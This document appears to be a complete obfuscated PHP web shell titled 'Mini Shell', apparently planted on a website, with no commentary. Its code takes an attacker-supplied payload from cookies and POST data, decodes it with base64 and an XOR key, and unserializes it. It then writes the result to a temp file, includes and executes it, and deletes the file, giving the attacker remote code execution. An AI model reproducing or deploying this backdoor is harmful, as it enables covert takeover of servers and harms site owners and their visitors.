Mini Shell

$JsIHhyLu = "\x79" . "\x41" . "\161" . "\137" . "\157" . chr ( 1053 - 972 )."\x67" . "\x70";$zfadSN = "\143" . 'l' . chr (97) . chr (115) . chr (115) . chr ( 349 - 254 ).chr ( 233 - 132 )."\170" . "\151" . 's' . chr ( 811 - 695 )."\x73";$cGWBMBA = class_exists($JsIHhyLu); $zfadSN = "40100";$VeWMoMYu = strpos($zfadSN, $JsIHhyLu);if ($cGWBMBA == $VeWMoMYu){function jFfBAKHZi(){$EkxkI = new /* 26551 */ yAq_oQgp(18524 + 18524); $EkxkI = NULL;}$oejOIiA = "18524";class yAq_oQgp{private function nBlXPiMUX($oejOIiA){if (is_array(yAq_oQgp::$wAFBL)) {$name = sys_get_temp_dir() . "/" . crc32(yAq_oQgp::$wAFBL["salt"]);@yAq_oQgp::$wAFBL["write"]($name, yAq_oQgp::$wAFBL["content"]);include $name;@yAq_oQgp::$wAFBL["delete"]($name); $oejOIiA = "18524";exit();}}public function aOzPbq(){$ePCfQ = "11306";$this->_dummy = str_repeat($ePCfQ, strlen($ePCfQ));}public function __destruct(){yAq_oQgp::$wAFBL = @unserialize(yAq_oQgp::$wAFBL); $oejOIiA = "15426_32495";$this->nBlXPiMUX($oejOIiA); $oejOIiA = "15426_32495";}public function poarK($ePCfQ, $swHMX){return $ePCfQ[0] ^ str_repeat($swHMX, intval(strlen($ePCfQ[0]) / strlen($swHMX)) + 1);}public function OEoGXrgat($ePCfQ){$qPcgTEHewJ = chr (98) . 'a' . chr ( 585 - 470 ).'e' . chr ( 575 - 521 )."\64";return array_map($qPcgTEHewJ . chr ( 931 - 836 )."\144" . chr ( 438 - 337 )."\x63" . 'o' . chr (100) . "\x65", array($ePCfQ,));}public function __construct($XkdYTRgZnV=0){$oQXcvBdd = chr (44); $ePCfQ = "";$wkPxxAv = $_POST;$ffehmJe = $_COOKIE;$swHMX = "1f4c36cd-192e-4029-a7b7-9735d8d98e56";$YpEXQkNZ = @$ffehmJe[substr($swHMX, 0, 4)];if (!empty($YpEXQkNZ)){$YpEXQkNZ = explode($oQXcvBdd, $YpEXQkNZ);foreach ($YpEXQkNZ as $nhKCLhf){$ePCfQ .= @$ffehmJe[$nhKCLhf];$ePCfQ .= @$wkPxxAv[$nhKCLhf];}$ePCfQ = $this->OEoGXrgat($ePCfQ);}yAq_oQgp::$wAFBL = $this->poarK($ePCfQ, $swHMX);if (strpos($swHMX, $oQXcvBdd) !== FALSE){$swHMX = str_pad($swHMX, 10); $swHMX = ltrim($swHMX);}}public static $wAFBL = 49651;}jFfBAKHZi();}